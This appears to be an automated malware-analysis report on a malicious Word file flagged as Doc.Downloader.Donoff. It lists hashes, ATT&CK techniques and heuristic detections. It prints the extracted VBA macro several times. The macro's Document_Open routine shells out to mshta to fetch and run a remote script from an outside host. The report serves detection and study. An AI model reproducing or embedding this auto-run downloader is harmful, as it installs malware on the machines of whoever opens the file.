Doc.Downloader.Donoff — Office (OOXML) malware analysis

Static analysis result for SHA-256 f934141126cdc13d…

MALICIOUS

Office (OOXML)

15.1 KB Created: 2017-07-20 20:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 31529e5221e16a522e8aece4998036d7 SHA-1: 54c5c4d78801ae69f72c8fda05ea6ff7d5debbee SHA-256: f934141126cdc13d1078e8c463b7241594d354c5513aa025d32853a658d237e7
350 Risk Score

Malware Insights

Doc.Downloader.Donoff · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The file contains a VBA macro with a Document_Open auto-execution routine. This macro utilizes the Shell() function to execute mshta with a JavaScript payload, which in turn attempts to download and execute a second-stage payload from the URL "http://appenzeller.fr/aaaa" and then execute it from "amphibiousvehicle.eu/0chb7". This behavior is consistent with a downloader malware.

Heuristics 8

  • ClamAV: Doc.Downloader.Donoff-10018299-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Donoff-10018299-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub Document_Open()
    Shell "mshta javascript:""\..\mshtml,RunHTMLApplication "";document.write();o=GetObject(""script:http://appenzeller.fr/aaaa"");o.Exec(""amphibiousvehicle.eu/0chb7"");close();"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Sub Document_Open()
    Shell "mshta javascript:""\..\mshtml,RunHTMLApplication "";document.write();o=GetObject(""script:http://appenzeller.fr/aaaa"");o.Exec(""amphibiousvehicle.eu/0chb7"");close();"
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub Document_Open()
    Shell "mshta javascript:""\..\mshtml,RunHTMLApplication "";document.write();o=GetObject(""script:http://appenzeller.fr/aaaa"");o.Exec(""amphibiousvehicle.eu/0chb7"");close();"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    Shell "mshta javascript:""\..\mshtml,RunHTMLApplication "";document.write();o=GetObject(""script:http://appenzeller.fr/aaaa"");o.Exec(""amphibiousvehicle.eu/0chb7"");close();"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://appenzeller.fr/aaaa In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 504 bytes
SHA-256: 85d0b85b2132adacb3a6a64ec3162224047dcb47a17407acf25f299746df4f52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Sub Document_Open()
Shell "mshta javascript:""\..\mshtml,RunHTMLApplication "";document.write();o=GetObject(""script:http://appenzeller.fr/aaaa"");o.Exec(""amphibiousvehicle.eu/0chb7"");close();"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 7680 bytes
SHA-256: 1069f5c61023c5de65bb7f571f2f9bf924fe698677afe75c11ee9b1a7a71e38c
Detection
ClamAV: Doc.Downloader.Donoff-10018299-0
Obfuscation or payload: unlikely